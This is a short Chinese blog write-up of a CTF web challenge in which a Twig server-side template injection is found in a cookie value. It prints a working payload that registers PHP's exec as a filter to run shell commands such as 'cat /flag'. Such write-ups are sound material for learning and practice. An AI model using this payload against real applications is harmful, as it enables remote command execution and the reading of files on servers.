CTFHub_2020-BJDCTF-Web-Cookie is so subtle!(ssti模板注入、cookie处注入)

环境打开后,有三个页面,分别是index.php、flag.php、hint.php。

首先,hint.php的源码里有个提示如下,说明本题的关键在cookie(当然从题目中也可看出)

<!-- Why not take a closer look at cookies? -->

然后,flag.php里是一个输入框,输入什么它就会回显什么。输入test,这时候看看cookie,发现突然多了user=test。

说明这个页面是根据cookie里的user来回显的。经过尝试,这里存在模板注入。

接着,判断这个网站用的是什么模板。我从网上找了一张图:

{{7*'7'}}   49          Twig
{{7*'7'}}   7777777     Jinja2

经过判断,这题是Twig的模板注入,如下图所示

最后,在网上找了Twig模板注入的exp:

{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("cat /flag")}}

先执行find / -name flag,找到flag文件

再执行cat /flag,得到flag。

注意,这里必须在抓包时修改cookie中的user值为exp,而不能直接在前端输入框直接输入exp(因为浏览器会自动进行url编码,导致不执行)。

参考:

  • https://blog.csdn.net/rfrder/article/details/109454313
  • https://www.k0rz3n.com/2018/11/12/%E4%B8%80%E7%AF%87%E6%96%87%E7%AB%A0%E5%B8%A6%E4%BD%A0%E7%90%86%E8%A7%A3%E6%BC%8F%E6%B4%9E%E4%B9%8BSSTI%E6%BC%8F%E6%B4%9E/#2-Twig
posted @ 2022-02-09 09:11  zhengna  阅读(226)  评论(0编辑  收藏  举报